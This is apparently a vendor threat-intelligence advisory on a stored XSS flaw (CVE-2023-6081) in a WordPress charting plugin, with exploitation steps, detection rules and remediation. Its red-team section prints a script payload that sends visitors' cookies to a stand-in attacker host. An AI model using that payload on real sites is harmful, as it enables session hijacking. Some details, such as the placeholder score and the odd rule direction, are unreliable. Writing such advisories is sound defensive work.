CVE-2023-6081

Executive Summary

CVE-2023-6081 is a Stored Cross-Site Scripting (XSS) vulnerability in the Chartjs WordPress plugin through version 2023.2. The plugin fails to sanitize and escape certain settings, allowing high-privilege users (e.g., administrators) to inject malicious scripts that execute when other users view the affected page. This is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disabled, as it bypasses standard security controls. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement of high privileges for exploitation.

Supply Chain & Package Security

This vulnerability affects the Chartjs WordPress plugin, distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin. Administrators should monitor for updates and consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires admin-level access.
• User Interaction (UI): Required (R) – Victim must view the compromised page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (5.4) – Exploitation requires admin privileges but can lead to session hijacking, defacement, or phishing.

Deep Dive & Mechanics

The vulnerability resides in the plugin’s settings page, where user-supplied input is stored without proper sanitization or output escaping. When an admin saves a setting containing malicious JavaScript, the payload is stored in the WordPress database. Upon subsequent page loads, the unsanitized value is rendered in the admin dashboard or frontend, executing the script in the context of the victim’s browser.

Root Cause: The plugin uses echo or esc_html incorrectly (or not at all) when rendering settings fields, allowing HTML/JavaScript injection.

Attack Flow:

1. Attacker gains admin access (e.g., via compromised credentials or social engineering).
2. Attacker navigates to the plugin settings and injects a payload like <script>alert('XSS')</script> into a vulnerable field.
3. The payload is stored in the database.
4. When another admin or user views the settings page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (example):

// In settings page rendering
echo '<input type="text" name="chartjs_option" value="' . get_option('chartjs_option') . '" />';

This directly outputs the stored value without escaping.

Patched Code (hypothetical):

// Proper escaping
echo '<input type="text" name="chartjs_option" value="' . esc_attr(get_option('chartjs_option')) . '" />';

Using esc_attr() prevents XSS by encoding special characters.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites: Admin credentials on a WordPress site with Chartjs plugin <= 2023.2.

Steps:

1. Log in as admin.
2. Navigate to Settings > Chartjs (or plugin-specific menu).
3. In a vulnerable field (e.g., "Custom CSS" or "Header Scripts"), inject:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save settings.
5. When another admin visits the same page, the script executes, exfiltrating cookies.

Lab Setup:

• Use a local WordPress instance (e.g., via Docker) with Chartjs plugin installed.
• Simulate admin login and inject payload.
• Monitor with a simple HTTP server to capture exfiltrated data.

Blue Team (Defender)

Detection:

• Monitor for unusual admin activity, especially changes to plugin settings.
• Look for suspicious strings in wp_options table (e.g., chartjs_option containing <script> tags).
• Use WAF rules to block common XSS payloads in admin requests.

Response:

• Immediately revoke compromised admin accounts.
• Remove malicious entries from the database.
• Disable the plugin until a patch is applied.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/chartjs/chartjs.php (or similar) – Check for modifications.
• Database: wp_options table entries containing chartjs_ with embedded <script> tags.
• Network: Outbound HTTP requests to unknown domains from admin pages.
• Logs: wp-admin/admin-ajax.php requests with unusual parameters.

Detection Engineering

YARA Rule

rule CVE_2023_6081_Chartjs_XSS {
    meta:
        description = "Detects stored XSS payloads in Chartjs plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6081"
    strings:
        $payload = /<script[^>]*>.*?<\/script>/i
        $option = "chartjs_"
    condition:
        $option and #payload > 0
}

Sigma Rule

title: Chartjs Plugin Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS in Chartjs plugin settings
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        eventSource: "wp_options"
        option_name|startswith: "chartjs_"
        option_value|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6081 Chartjs Stored XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=chartjs_save"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review admin accounts and revoke any suspicious privileges.
3. Scan the database for malicious entries using the YARA rule above.

Long-term Fix:

• Apply input sanitization (sanitize_text_field()) and output escaping (esc_attr(), esc_html()) to all plugin settings.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS payloads in admin requests.
• Restrict admin access to trusted IPs only.

Report generated by Valters IT DevSecOps – Cyber Threat Intelligence Division